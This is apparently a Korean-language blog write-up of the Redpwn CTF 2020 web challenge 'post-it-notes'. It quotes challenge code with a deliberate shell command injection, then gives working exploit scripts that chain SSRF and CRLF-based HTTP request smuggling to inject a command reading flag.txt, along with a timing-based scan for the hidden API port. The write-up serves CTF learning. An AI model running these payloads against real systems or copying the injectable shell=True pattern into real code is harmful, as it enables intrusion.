본문 바로가기

WEB

Redpwn CTF 2020 / post-it-notes

 

Keyword : SSRF, HTTP Request Smuggling

 

 

 

Web server와 API서버가 주워집니다. Web Server는 외부에서 접근가능한 서버입니다. API Server는 로컬에서만 접속이 가능합니다. 

Server

 

 

## Command injection vulernalbiliry In Internal API Server

def get_note(nid):
    stdout, stderr = subprocess.Popen(f"cat 'notes/{nid}' || echo it did not work btw", shell = True, stdout = subprocess.PIPE, stderr = subprocess.PIPE, stdin = subprocess.PIPE).communicate()
    if stderr:
        print(stderr) # lemonthink
        return {}
    return {
        'success' : True,
        'title' : nid,
        'contents' : stdout.decode('utf-8', errors = 'ignore')
    }
@app.route('/api/v1/notes/', methods = ['GET', 'POST'])
def notes():

    ret_val = {'success':True}
    title = request.values['title']
    if 'contents' not in request.values: # reading note
        note = get_note(str(title)[:0xff])
        ret_val.update(note)
    else: # writing note
        contents = request.values['contents']
        ret_val.update(write_note(str(title)[:0xff], str(contents)))

API server에 Command Injection 취약점이 존재합니다. 

    def get(nid, port = None):
        _host = API_HOST.format(port = port)
        json = jason
        note = json.loads(str(requests.post(_host + '/api/v1/notes/', data = {
            'title' : nid
        }, headers = {
            'Authorization' : ' '.join(['his name', 'is', 'john connor']), # obfuscate because our penetration test report said that hardocded secrets BAD
            'Connection' : 'close'
        }).text) or '{}') # url encoding is for noobs

        if note.get('success'):
            note['links'] = [x[0] for x in REEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEE.findall(r'(https?:\/\/(www\.)?[-a-zA-Z0-9@:%._\+~#=]{1,256}\.[a-zA-Z0-9()]{1,6}\b([-a-zA-Z0-9()@:%_\+.~#?&//=]*))', note['contents'])]

        ####print('got note', nid, ' : ', note)
        return note

Web Server에서 '와 "을 필터링합니다. 따라서 command injection 취약점을 공격하기 위해서는 Web Server의 필터링 로직을 거치지 않고 API Sever에 요청을 보내야 합니다. 

 

 

## SSRF to request internal API server

 

@app.route('/check-links', methods = ['POST'])
def check_post():
    # check for broken links
    ret_val = dict()
    links = request.form.get('links')
    if isinstance(links, str):
        links = [links]
    for link in links:
        ret_val[link] = Note.check_link(link)
    return ret_val # :pepega:
    def check_link(link):
        # XXX: we only support http links at the moment :(
        # XXX: what if someone wants to use domain spoofing characters? we don't support that...
        r = re.match(r'http://([^:]+)(:\d*)?(/.*)?', link, flags = 26)
        if not r:
            print('no bad link!!!', link)
            return False
        host, port, path = r.groups()
        
        ip = None
        try:
            # :thonkeng:
            ip = socket.gethostbyname(host)
        except:
            ip = host
            pass # eh we just want ip it doesnt really matter ig since it will be validated in next step

        # validate host
        try:
            # XXX: ipv6 and ipv8 support
            ip = re.match(r'(\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3})', ip).__getattribute__('groups')()[0]
        except Exception as PYTHON_SUCKS:
            print(PYTHON_SUCKS)
            print(host)
            print('bad ip address')
            return False

        # XXX: I CANT FIGURE OUT HOW TO MAKE HTTP HEAD REQUESTS FROM THE requests LIBRARY SO I AM DOING THIS BY MYSELF! DONT MOCK ME FOR """"""""""rEinVENtinG thE WheEL"""""""""".
        # :blobpat:
        try:
            s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
            port = int(str(port or 80).lstrip(':'))
            s.connect((ip, port))
            # XXX: this works and i dont know why
            # NOTE: there was a bug before where newlines in `path` could make all requests fail. Fixed based on jira ticket RCTF-1231
            wef=(b'HEAD ' + (path or '/').replace('\n', '%0A').encode('utf-8') + b' HTTP/1.1\r\nConnection: keep-alive\x0d\nHost: ' + host.encode('utf-8') + b'\r\nUser-Agent: archlinux\r\nAccept: */*\r\n\r\n') # python3 socket library go brrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrr
            print(wef)
            s.send(wef)
            # XXX: i dont like the above code, it is bad
            # XXX: three months later: what does the above comment mean, i forgot
            print('waiting')
            # give it time to think
            import time as angstromCTF
            angstromCTF.kevin_higgs=angstromCTF.sleep
            angstromCTF.kevin_higgs(1337/300/4)
            # XXX: i read in *CODE COMPLETE* that magic numbers are bad TODO explain what this means?
            try:
                # XXX: idk how sockets work...
                s.settimeout(4)
            except:
                pass
            rEspONSe = s.recv(4096)
            if b'200 OK' in rEspONSe:
                s.close()
                return True
            s.close()
            return False
        except Exception as e:
            traceback.print_exc()
            print(e)
            # eh whatever :pepega:
            # NOTE: Thanks to the invaluable security research contributions
            #   from the organizer, ginkoid a critical vulnerability that used
            #   to exist here is now patched. :pepega: used to be spelled
            #   :pepaga: ... :sob:
            return False
        return bool(False)

 

/check-links 페이지를 통해 SSRF 공격을 수행할 수 있습니다. 

r = re.match(r'http://([^:]+)(:\d*)?(/.*)?', link, flags = 26)
host, port, path = r.groups()
ip = socket.gethostbyname(host)

 

/check-links 페이지에서는 URL을 POST 형식으로 입력받아 host, port, path로 나눕니다. 또한 gethostbyname을 이용하여 IP를 구합니다. 이러한 절차에서 필터링이 없기 때문에 http://127.0.0.1:80/test와 같은 요청을 날려서 내부망에 있는 API Server에 요청을 보낼 수 있습니다. 

 

 

 

## HTTP Request Smuggling

 

wef=(b'HEAD ' + (path or '/').replace('\n', '%0A').encode('utf-8') + b' HTTP/1.1\r\nConnection: keep-alive\x0d\nHost: ' + host.encode('utf-8') + b'\r\nUser-Agent: archlinux\r\nAccept: */*\r\n\r\n')

/check-links 페이지는 주어진 port 번호와 gethostbyname을 통해 얻은 IP에 connect합니다. 그 다음 wef의 내용을 send합니다. send되는 내용 중 path와 HOST header만 수정할 수 있습니다. HOST header는 gethostbyname의 인자로 들어가기 때문에 공격벡터로 적절하지 않아 보입니다. 하지만 2017 Black Hat에서 Orange Tsai가 발표한 "A New Era of SSRF - Exploiting URL Parser in Trending Programming Languages!"에서 흥미로운 내용을 발견할 수 있습니다. 

 

A New Era of SSRF - Exploiting URL Parser in Trending Programming Languages! : 52P

Python socket 모듈의 gethostbyname 함수의 인자에 "vaild IP\r\nsome arbitrary data"와 같은 형식의 데이터가 주어진다면 gethostbyname는 "vaild IP"를 return합니다. 따라서 /check-links페이지에 HOST 부분이 조작된 URL을 전송한다면 wef의 HOST header에 임의의 데이터를 입력할 수 있게 됩니다. HOST header에 HTTP 요청을 끝내기 위한 문자열 ('\r\n\r\n')과 새로운 HTTP 요청을 적어서 보낸다면 HEAD 메소드를 이용하는 요청뿐만 아니라 GET를 사용하는 임의의 요청을 밀수하여 API 서버에 전송할 수 있게 됩니다.

 

import socket
from pwn import *
import subprocess
import re
import requests
host = "127.0.0.1"
data = "title=';cat${IFS}flag.txt>'./notes/JJY"
malformed= '\r\n\r\nGET /api/v1/notes/?%s HTTP/1.1'%(data)
host+= malformed

link = "http://"+host +":backend server port"
tmp = ['curl','-i','-H','"Content-Type: application/x-www-form-urlencoded"','-X', 'POST' ,'http://2020.redpwnc.tf:31957/check-links', '-d' , 'links='+link]

print(link)

result = subprocess.check_output(tmp)
print(result)

 

 

## Port scan

 

#!/usr/bin/env python3

from api import server as api_server
from web import server as web_server

import threading, random

if __name__ == '__main__':
    backend_port = random.randint(50000, 51000)

    at = threading.Thread(target = api_server.start, args = (backend_port,))
    wt = threading.Thread(target = web_server.start, args = (backend_port,))

    at.daemon = True
    wt.daemon = True

    at.start()
    wt.start()

    at.join()
    exit() # something is wrong
    wt.join()
    exit() # something is wrong

이제 내부망에 임의의 요청을 보낼 수 있게 되었지만, 우리는 API 서버의 PORT를 알 수 없습니다. API 서버의 port는 50000 ~ 51000 사이의 랜덤한 값으로 정해지기 때문입니다. 하지만 /check-links 페이지에서 IP와 port에 연결 성공할 경우 sleep이 있습니다. 따라서 respone이 돌아오는 시간을 측정하여 Backend port를 알아낼 수 있습니다.

 

from pwn import *
import subprocess
tmp = ['time','curl','-i','-H','"Content-Type: application/x-www-form-urlencoded"','-X', 'POST' ,'http://2020.redpwnc.tf:31957/check-links', '-d' , 'links=http://127.0.0.1:1234/test']
#tmp = ['time','curl','-i','-H','"Content-Type: application/x-www-form-urlencoded"','-X', 'POST' ,'http://localhost:1337/check-links', '-d' , 'links=http://127.0.0.1:1234/test']




port = [0,0]
for x in range(50000,51000):
    command =tmp[0:-1] + [tmp[-1].replace('1234',str(x))] 
#    print(command)
    result = subprocess.check_output(command,stderr=subprocess.STDOUT)
    result = result.split('\n')[-3]
    result = result.split(' ')[2][0:7]
    h,s = result.split('.')
    h,m = h.split(':')
    result = int(h) * 3600 + int(m) * 60 + int(s)
#    log.info(result)
    if port[1]<result:
        log.info('port = %d, time = %d',x,result)
        port[0] = x
        port[1] = result
        print('--------------------')

 

 

 

 

 

'WEB' 카테고리의 다른 글

Relative Path Overwrite  (0) 2020.09.15
Web cache deception attack  (0) 2020.05.27
SOP, CORS, CSP  (0) 2020.04.21
javascript proto pollution  (3) 2020.03.05